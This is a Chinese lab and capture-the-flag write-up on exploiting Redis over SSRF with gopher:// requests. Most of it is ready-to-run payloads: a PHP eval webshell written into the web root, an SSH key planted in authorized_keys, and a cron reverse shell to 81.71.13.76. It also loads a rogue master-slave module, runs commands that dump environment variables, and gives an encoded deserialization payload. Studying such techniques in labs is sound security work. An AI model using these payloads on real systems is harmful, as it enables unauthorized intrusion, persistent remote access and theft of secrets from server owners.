实验环境:kali+nginx+fpm; 提前安装redis
(低于7版本才行,高于7的版本config set dir之类会报错);安装php_curl
扩展;
向Web目录中写webshell
创建一个test.php
;内容如下,
1 |
|
payload我已经分为了四步;保证前一步执行成功(会返回+OK之类的字样)后;再去执行后一步;(失败会返回”ERR“)
1 | config set dir /var/www/html |
1 | config set dbfilename shell.php |
1 | set payload "<?php eval(\$_POST[1]);?>" |
1 | save |
执行成功后会发现/var/www/html
目录下已经存在了shell.php
;只不过除了我们的键值<?php eval($_POST[1]);?>
还有其他一些东西,但是这并不影响php解析;但是这样会影响下一个方法(ssh写入公钥;但是也有办法处理这个问题);
1 | cat shell.php |
到这里实验就结束了,但是这个实验需要注意权限等问题;比如:
1,是否有权限向/var/www/html
有写文件的操作;(默认的dir是/var/lib/redis
)
2,如果有权限写入web目录,也要保证服务器有权限可以读我们写入的文件;
补充,这是将上面四步合成了一步,方便打比赛的时候直接用;(双重url编码了的)
1 | gopher%3A%2F%2F127.0.0.1%3A6379%2F_config%2520set%2520dir%2520%252Fvar%252Fwww%252Fhtml%250D%250aconfig%2520set%2520dbfilename%2520shell.php%250D%250aset%2520payload%2520%2522%253C%253Fphp%2520eval(%255C%2524_POST%255B1%255D)%253B%253F%253E%2522%250D%250asave%250D%250aquit |
写入ssh公钥
还是利用test.php
制作公私钥;会生成在当前用户的~/.ssh
目录下
1 | ssh-keygen -t rsa |
payload我已经分为了四步;保证前一步执行成功(会返回+OK之类的字样)后;再去执行后一步;(失败会返回”ERR“)
第一步用换行的方式,保证公钥不会受其他字符影响
1 | set publickey "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8GVS1wwIfWVDLGsoXHntxx5BaVrx1QrG5J7i3ZpoOf6HEz+ExYOEzUb0tGA6R477caXicuqhAGP4F6rLX9tyUaV7IHuZM2ZZJqo+8oVe1QCQlaUqjwgJAGpCcNnqWet/GFLfTJdDb57GgLLuA+ra5yDwkCuUzayB3We2cyUPqm2sbDIlIz0Nt3JLVNi9xa5SirFJ0iU2wzm+jsPT24/6jfvAbWWQHJTxNlglSogBSvNo6Cao3c9hbLxhmEiE1InNBOK8XBcAG739RZYRNKDOJLovvNiC2c47w5HrYAc7ge+eK1PM32bpVvNjBSNNrhkxnHiGCcHLOZnkxepKs3X0fmKzMxCRtCjr8YJEpbf8nSbMY1IxoSZz6RUnP4K/J6nfPt9NV8gog6lT2K5S71MNSvT96shVut0C8UDc+dQzv2tl6SzOy9rOeHhlBDqQEm0FKfP9EPucy4yLanULPIl4KqhexbHdz/uQ5UCUKR8Z/l3Vbmn2uM2Hs586O22EezNc= kali@kali\n\n\n" |
这里的目录更具情况而定,只有往某个用户的.ssh
目录有写的权限就可以;当然要是有root权限就更好了;
1 | config set dir /home/kali/.ssh/ |
这是ssh的规定,必须为authorized_keys
文件名
1 | config set dbfilename "authorized_keys" |
1 | save |
最后用ssh连接即可
1 | ssh -i id_rsa username@ip |
到这里实验就结束了,但是这个实验需要注意权限和服务等问题;比如:
1,是否有权限向.ssh
有写文件的操作;注意这里不一定非得是root用户;往往root用户的权限没这么容易拿到;如果能往普通用户的.ssh
写入也是可行的;
2,需要靶机开启ssh
服务,就是是22
端口(可以用nmap探测)
定时任务
还是利用test.php
查看/var/spool/cron
目录权限
1 | drwxr-xr-x 3 root root 4096 2023年 4月 5日 cron |
这里的定时任务是在/var/spool/cron
目录,而不是/etc/crontab
文件
来自gpt: /var/spool/cron
目录通常用于存储用户特定的定时任务(cron jobs)。在这个目录下,每个用户都有一个以其用户名命名的文件,用于存储该用户的定时任务。这些文件包含了用户设置的定时任务的详细信息,比如何时运行、运行的命令等。这些文件通常由cron守护进程读取,并按照预定的时间执行其中定义的命令。
大概就是下面四步;但是还是用工具来的快
1 | set cron "\n\n* * * * * bash -i>& /dev/tcp/81.71.13.76/5555 0>&1\n\n" |
1 | /bin/bash -c 'bash -i >& /dev/tcp/81.71.13.76/5555 0>&1' |
我是直接用的Gopherus
工具
1 | What do you want?? (ReverseShell/PHPShell): reverseshell |
到这里实验就结束了,但是这个实验需要注意权限等问题;比如:
1,需要有权限往/var/spool/cron
目录写文件,这通常只用以root
身份运行redis-server才有希望;
2,写入后的文件需要有可执行权限才可以执行(通常不会有可执行权限);
3, 需要靶机可以出网,才可以反弹shell;
主从复制
大概就是这几条命令
1 | config set dir /tmp/ |
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
要进行主从复制RCE,就需要利用到这两个工具,第一个用于生成payload,也可以启动恶意服务,第二个主要是exp.so。注意需要将第二个工具exp.so导入到第一个工具下,也就是和rogue-server.py同目录,这里先开启一下rogue-server.py 用于伪装为主redis,它开启的端口为6666
由于module命令是在Redis 4.0及更高版本中引入的
,而我本地的redis版本太低,干脆用春秋杯网络安全联赛冬季赛中的ezezez_php来做实验;
访问靶机,index.php如下;
1 |
|
1 | Ha(__destruct) => Rd(__call) => Er(__set) => get($url) |
POC
1 |
|
payload我已经分为了六步;保证前一步执行成功(会返回+OK之类的字样)后;再去执行后一步;(失败会返回”ERR“)
1 | config set dir /tmp/ |
1 | config set dbfilename exp.so |
执行这一步前,需要在vps上执行python2 rogue-server.py
命令
1 | slaveof 81.71.13.76 6666 |
1 | module load /tmp/exp.so |
接下来就可以命令执行了
1 | system.exec 'cat /proc/self/environ' |
也可以用这条命令反弹shell
1 | system.rev 81.71.13.76 5656 |
将上面的payload进行base64编码,并赋值给$c->Flag
;为了不出错,分六步打;payload大概是下面的样子,就是base64的内容会改一下
1 | O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:88:"Z29waGVyOi8vMTI3LjAuMC4xOjYzNzkvX2NvbmZpZyUyMHNldCUyMGRpciUyMCUyRnRtcCUyRiUwRCUwQXF1aXQ=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";} |
到这里实验就结束了,但是这个实验需要注意redis版本等问题;用主从赋值虽然麻烦,但是没有其他方法那么多限制,只需要注意一下redis的版本支持module
等命令和可以连外网;